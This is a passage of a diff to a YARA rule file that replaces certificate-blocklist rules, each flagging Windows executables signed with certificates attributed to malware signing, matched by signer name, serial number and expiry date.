"018e5a0fbeeaded2569b83e2f91230e0055a5ffa2059b7a064a5c2eda55ed2de" score = 75 quality = 90 tags = "INFO, FILE" @@ -25229,21 +47623,21 @@ rule REVERSINGLABS_Cert_Blocklist_6D633Df9Bb6015Fc3Ecea99Dff309Ee7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "6d:63:3d:f9:bb:60:15:fc:3e:ce:a9:9d:ff:30:9e:e7" and 1474156800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3N-\\xC5\\xA0PORT podjetje za in\\xC5\\xBEeniring, storitve in trgovino d.o.o." and pe.signatures [ i ] . serial == "30:af:0d:0e:6d:82:01:a5:36:96:64:c5:eb:bb:01:0f" and 1613433600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_22E2A66E63B8Cb4Ec6989Bf7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ac0A7B9420B369Af3Ddb748385B981 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5c028a6c-890c-54f1-aea2-ac04ce654907" + id = "82d6c0f5-80d1-5003-a5c9-9eadd9654460" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13638-L13654" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7670-L7688" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2099c508d1fd986f34f14aa396a5aaa136e2cdd2226099acdca9c14f6f6342eb" + logic_hash = "2bc31eaa64be487cb85873a64b7462d90d1c28839def070ce5db7ae555383421" score = 75 quality = 90 tags = "INFO, FILE" @@ -25253,21 +47647,21 @@ rule REVERSINGLABS_Cert_Blocklist_22E2A66E63B8Cb4Ec6989Bf7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sivi Technology Limited" and pe.signatures [ i ] . serial == "22:e2:a6:6e:63:b8:cb:4e:c6:98:9b:f7" and 1466995365 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Tochka" and ( pe.signatures [ i ] . serial == "00:ac:0a:7b:94:20:b3:69:af:3d:db:74:83:85:b9:81" or pe.signatures [ i ] . serial == "ac:0a:7b:94:20:b3:69:af:3d:db:74:83:85:b9:81" ) and 1604620800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_654B406De388Ec2Aec253Ff2Ba4C4Bbd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C167F04B338B1E8747B92C2197403C43 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9820112d-d59b-57e7-ae78-7b427f70d529" + id = "0bf561ac-0283-557f-a685-4603e2b58273" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13656-L13672" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7690-L7708" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a1aadaded55c8b0d85ac09ba9ab27fefaeec2969cdabaf26ff0c41bf33422ddc" + logic_hash = "8e0a11efc739baefe23a3d77e4eefc9dc23c74821c91fc219822dbc5dbb468b1" score = 75 quality = 90 tags = "INFO, FILE" @@ -25277,21 +47671,21 @@ rule REVERSINGLABS_Cert_Blocklist_654B406De388Ec2Aec253Ff2Ba4C4Bbd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yijiajian (Amoy) Jiankan Tech Co.,LTD." and pe.signatures [ i ] . serial == "65:4b:40:6d:e3:88:ec:2a:ec:25:3f:f2:ba:4c:4b:bd" and 1398902400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTUNE STAR TRADING, INC." and ( pe.signatures [ i ] . serial == "00:c1:67:f0:4b:33:8b:1e:87:47:b9:2c:21:97:40:3c:43" or pe.signatures [ i ] . serial == "c1:67:f0:4b:33:8b:1e:87:47:b9:2c:21:97:40:3c:43" ) and 1604361600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_78D1817Ebcf338B4E9C810F9740A726B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9272607Cfc982B782A5D36C4B78F5E7B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3d0a97a4-c45a-5238-a287-867529b470cb" + id = "e3ad8f20-d12f-54e9-a6da-7aad28a10287" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13674-L13690" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7710-L7728" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "62e59130ef0ac35b17a265bb8bc2031cac6a75c11925ccb21eb4601b8fbe1a63" + logic_hash = "2b1d6f27fb513542589a5c9011e501a9d298282bba6882eac0fc7bf3e6ebb291" score = 75 quality = 90 tags = "INFO, FILE" @@ -25301,21 +47695,21 @@ rule REVERSINGLABS_Cert_Blocklist_78D1817Ebcf338B4E9C810F9740A726B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CONSTRUTORA NOVO PARQUE LTDA - ME" and pe.signatures [ i ] . serial == "78:d1:81:7e:bc:f3:38:b4:e9:c8:10:f9:74:0a:72:6b" and 1431734400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rada SP Z o o" and ( pe.signatures [ i ] . serial == "00:92:72:60:7c:fc:98:2b:78:2a:5d:36:c4:b7:8f:5e:7b" or pe.signatures [ i ] . serial == "92:72:60:7c:fc:98:2b:78:2a:5d:36:c4:b7:8f:5e:7b" ) and 1605139200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_45Fbcdb1Fbd3D702Fb77257B45D8C58E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_45Eb9187A2505D8E6C842E6D366Ad0C8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6bfd7c1d-2608-5ca0-8e1e-04c73588895a" + id = "1b8390aa-16b9-558b-aee8-e30fc7100af4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13692-L13708" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7730-L7746" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "441e10f49515d75ee9e8983ba4321377fee13a91ca5eeddc08b393136ce8ccfd" + logic_hash = "4ae755e814ae2488d4bd6b8136ab6d78e4809a2ddacb7f88cf1d2b64c1488898" score = 75 quality = 90 tags = "INFO, FILE" @@ -25325,21 +47719,21 @@ rule REVERSINGLABS_Cert_Blocklist_45Fbcdb1Fbd3D702Fb77257B45D8C58E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ding Ruan" and pe.signatures [ i ] . serial == "45:fb:cd:b1:fb:d3:d7:02:fb:77:25:7b:45:d8:c5:8e" and 1476662400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BAKERA s.r.o." and pe.signatures [ i ] . serial == "45:eb:91:87:a2:50:5d:8e:6c:84:2e:6d:36:6a:d0:c8" and 1607040000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4B5D8Ed5Ca011679F141F124 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_56Fff139Df5Ae7E788E5D72196Dd563A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c8bc0968-29d0-51a9-8cfe-7c8f447cef3d" + id = "4f34fd37-908c-573c-ba53-5ab622589e88" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13710-L13726" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7748-L7764" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "39ff0d5fd711524ce181596033d1d51579cd086eb20b87722aebf39623bbaa17" + logic_hash = "4b58c83901605d8b43519f1bc2d4ac8dc10c794f027681378b2bee2a8ff81604" score = 75 quality = 90 tags = "INFO, FILE" @@ -25349,21 +47743,21 @@ rule REVERSINGLABS_Cert_Blocklist_4B5D8Ed5Ca011679F141F124 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "4b:5d:8e:d5:ca:01:16:79:f1:41:f1:24" and 1480644725 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cifromatika LLC" and pe.signatures [ i ] . serial == "56:ff:f1:39:df:5a:e7:e7:88:e5:d7:21:96:dd:56:3a" and 1606435200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_33671F1Bcbd0F5E231Fc386F4895000E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E161F76Da3B5E4623892C8E6Fda1Ea3D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0863e1ed-7b9c-5a60-82ac-eadc3c23fbd9" + id = "386c81ef-87aa-514e-81d7-dddfb90e0dc2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13728-L13744" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7766-L7784" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9199c8d76e3390ec9038808b4e88b803b3f3d6966af6206d0c9968d9ab673f31" + logic_hash = "883545593b48aa11c11f7fa1a1f77c62321ea86067f1ed108dcd00c8c6cd3495" score = 75 quality = 90 tags = "INFO, FILE" @@ -25373,21 +47767,21 @@ rule REVERSINGLABS_Cert_Blocklist_33671F1Bcbd0F5E231Fc386F4895000E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALAIS, OOO" and pe.signatures [ i ] . serial == "33:67:1f:1b:cb:d0:f5:e2:31:fc:38:6f:48:95:00:0e" and 1491868800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TGN Nedelica d.o.o." and ( pe.signatures [ i ] . serial == "00:e1:61:f7:6d:a3:b5:e4:62:38:92:c8:e6:fd:a1:ea:3d" or pe.signatures [ i ] . serial == "e1:61:f7:6d:a3:b5:e4:62:38:92:c8:e6:fd:a1:ea:3d" ) and 1604966400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_32Bc299F0694C19Ec21E71265B1D7E17 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9Ae5B177Ac3A7Ce2Aadf1C891B574924 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fa2302c3-4002-5bf0-812b-45298abbda8d" + id = "c72b8b2a-3e49-5ac3-ab4d-55b86ce7f061" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13746-L13762" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7786-L7804" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cb522e3084d382c451a8b040095e75582675f90dbb588e370f2f0054f4c2d14b" + logic_hash = "03ac299459a1aaf2e4a2e62884cd321e16100fee78b4b0e271acdd8a4e32525c" score = 75 quality = 90 tags = "INFO, FILE" @@ -25397,21 +47791,21 @@ rule REVERSINGLABS_Cert_Blocklist_32Bc299F0694C19Ec21E71265B1D7E17 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "32:bc:29:9f:06:94:c1:9e:c2:1e:71:26:5b:1d:7e:17" and 1474416000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Kolorit" and ( pe.signatures [ i ] . serial == "00:9a:e5:b1:77:ac:3a:7c:e2:aa:df:1c:89:1b:57:49:24" or pe.signatures [ i ] . serial == "9a:e5:b1:77:ac:3a:7c:e2:aa:df:1c:89:1b:57:49:24" ) and 1608076800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7B75C6B0A09Afdb9787F6Dff75Ae7844 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A03Ea3A4Fa772B17037A0B80F1F968Aa : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0b34c7ce-fa75-5340-a473-fa87fab93b86" + id = "cbc0c6ca-fab2-531e-b368-4d3fdc72509f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13764-L13780" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7806-L7824" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8fd125a526b3433fbb8a5c6fa74ce0b0e2de8ff789880c355625d4140cd902a2" + logic_hash = "e2044c6ddb80f3add13dfc3b623d0460ce8e9a66c5a98582f80d906edbbbd829" score = 75 quality = 90 tags = "INFO, FILE" @@ -25421,21 +47815,21 @@ rule REVERSINGLABS_Cert_Blocklist_7B75C6B0A09Afdb9787F6Dff75Ae7844 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "7b:75:c6:b0:a0:9a:fd:b9:78:7f:6d:ff:75:ae:78:44" and 1476662400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DREVOKAPITAL, s.r.o." and ( pe.signatures [ i ] . serial == "00:a0:3e:a3:a4:fa:77:2b:17:03:7a:0b:80:f1:f9:68:aa" or pe.signatures [ i ] . serial == "a0:3e:a3:a4:fa:77:2b:17:03:7a:0b:80:f1:f9:68:aa" ) and 1608076800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_167Fd1295B3Bb102Dbb37292C838E7Cd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_333Ca7D100B139B0D9C1A97Cb458E226 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "42cf5f07-4c43-567c-a517-42c898658ab8" + id = "c2c32499-4b0d-51ad-a10e-1ddd7218df84" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13782-L13798" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7826-L7842" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1cc7d441291fd9c4dc37320d411f94fb362523d47d37ab35c20b3ac9d4cd75cb" + logic_hash = "b3a31a54132fd8ca2c11b7806503207a4197f16af78693387bac56879b5e1448" score = 75 quality = 90 tags = "INFO, FILE" @@ -25445,21 +47839,21 @@ rule REVERSINGLABS_Cert_Blocklist_167Fd1295B3Bb102Dbb37292C838E7Cd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "16:7f:d1:29:5b:3b:b1:02:db:b3:72:92:c8:38:e7:cd" and 1476921600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FSE, d.o.o." and pe.signatures [ i ] . serial == "33:3c:a7:d1:00:b1:39:b0:d9:c1:a9:7c:b4:58:e2:26" and 1608076800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_253Ad25E39Abe8F8Fda9Fcf6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9245D1511923F541844Faa3C6Bfebcbe : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f09ca101-dd40-54d8-9235-1faf1e774dd4" + id = "7d4033b8-da1d-55f5-aa80-f96636650633" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13800-L13816" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7844-L7862" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1d46ccaa136cd7be30ffbf0eb09eb6485c543ff4bdbe99fa7ea3846841cbd41b" + logic_hash = "b965e897b42c39841e663cc144cf6e4a81fc9bcb64ce3a15a7ca021e95866b08" score = 75 quality = 90 tags = "INFO, FILE" @@ -25469,21 +47863,21 @@ rule REVERSINGLABS_Cert_Blocklist_253Ad25E39Abe8F8Fda9Fcf6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "25:3a:d2:5e:39:ab:e8:f8:fd:a9:fc:f6" and 1538662130 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LEHTEH d.o.o., Ljubljana" and ( pe.signatures [ i ] . serial == "00:92:45:d1:51:19:23:f5:41:84:4f:aa:3c:6b:fe:bc:be" or pe.signatures [ i ] . serial == "92:45:d1:51:19:23:f5:41:84:4f:aa:3c:6b:fe:bc:be" ) and 1607040000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A9C1523Cb2C73A82771D318124963E87 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2888Cf0F953A4A3640Ee4Cfc6304D9D4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b21365d0-eaff-51da-8b8e-6a6ee75a5b95" + id = "75ec52c5-4c59-51d8-bd9b-928c75d3521a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13818-L13836" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7864-L7880" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "87e314d14361f56935b7a8fb93468cfaf2c73e16c25d68a61ec80ad9334d3115" + logic_hash = "a9ee8534d89b8ac8705bb1777718513a28e4531ed398f482f46a72f2760af161" score = 75 quality = 90 tags = "INFO, FILE" @@ -25493,21 +47887,21 @@ rule REVERSINGLABS_Cert_Blocklist_A9C1523Cb2C73A82771D318124963E87 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ULTERA" and ( pe.signatures [ i ] . serial == "00:a9:c1:52:3c:b2:c7:3a:82:77:1d:31:81:24:96:3e:87" or pe.signatures [ i ] . serial == "a9:c1:52:3c:b2:c7:3a:82:77:1d:31:81:24:96:3e:87" ) and 1499731200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lotte Schmidt" and pe.signatures [ i ] . serial == "28:88:cf:0f:95:3a:4a:36:40:ee:4c:fc:63:04:d9:d4" and 1608024974 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_68E1B2C210B19Bb1F2A24176709B165B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C8Edcfe8Be174C2F204D858C5B91Dea5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e17bf185-3dfc-5a2f-a87f-525ac0e4084b" + id = "92baa26f-1352-53ed-bb9f-0a632e471dd5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13838-L13854" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7882-L7900" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8e88ad992c58d37ff1ac34e2d9cf121f3bc692ae78c0ad79140974abdec2f317" + logic_hash = "b3e6927abfce69548374bfd430a3ae3a1c5a8d05f0f40e43091b4d12025c5b1a" score = 75 quality = 90 tags = "INFO, FILE" @@ -25517,21 +47911,21 @@ rule REVERSINGLABS_Cert_Blocklist_68E1B2C210B19Bb1F2A24176709B165B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "68:e1:b2:c2:10:b1:9b:b1:f2:a2:41:76:70:9b:16:5b" and 1474502400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Paarcopy Oy" and ( pe.signatures [ i ] . serial == "00:c8:ed:cf:e8:be:17:4c:2f:20:4d:85:8c:5b:91:de:a5" or pe.signatures [ i ] . serial == "c8:ed:cf:e8:be:17:4c:2f:20:4d:85:8c:5b:91:de:a5" ) and 1608076800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5C88313Bd98Bde99C9B9Ac1408A63249 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9Faf8705A3Eaef9340800Cc4Fd38597C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5108fa8f-3fe6-518c-9bae-b1c44a0ec7a8" + id = "d2988928-4ef3-56bf-a407-f735756c7f81" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13856-L13872" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7902-L7920" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f958e46e00bf4ab8ecf071502bcda63a84265029bc9c72cea1eaaf72e9003a84" + logic_hash = "66a340f169e401705ba229d2d4548cef1a57bf1d2d320b108d12b2049b063b92" score = 75 quality = 90 tags = "INFO, FILE" @@ -25541,21 +47935,21 @@ rule REVERSINGLABS_Cert_Blocklist_5C88313Bd98Bde99C9B9Ac1408A63249 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "5c:88:31:3b:d9:8b:de:99:c9:b9:ac:14:08:a6:32:49" and 1474243200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tekhnokod LLC" and ( pe.signatures [ i ] . serial == "00:9f:af:87:05:a3:ea:ef:93:40:80:0c:c4:fd:38:59:7c" or pe.signatures [ i ] . serial == "9f:af:87:05:a3:ea:ef:93:40:80:0c:c4:fd:38:59:7c" ) and 1605744000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7A632A6Ecfc6C49Ec1F42F76 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0940Fa9A4080F35052B2077333769C2F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "863a109c-034f-5168-9470-8fd4945e6e92" + id = "358391b7-649b-5792-b4bd-d97b388c5d12" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13874-L13890" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7922-L7938" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "038badeab61c00476b79684308bf91f8a63716641f2be16fe0a3b25ebd3a9a1e" + logic_hash = "45636ea33751fea61572539fe6f28bccd05df9b6b9e7f2d77bb738f7c69c53a2" score = 75 quality = 90 tags = "INFO, FILE" @@ -25565,21 +47959,21 @@ rule REVERSINGLABS_Cert_Blocklist_7A632A6Ecfc6C49Ec1F42F76 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == 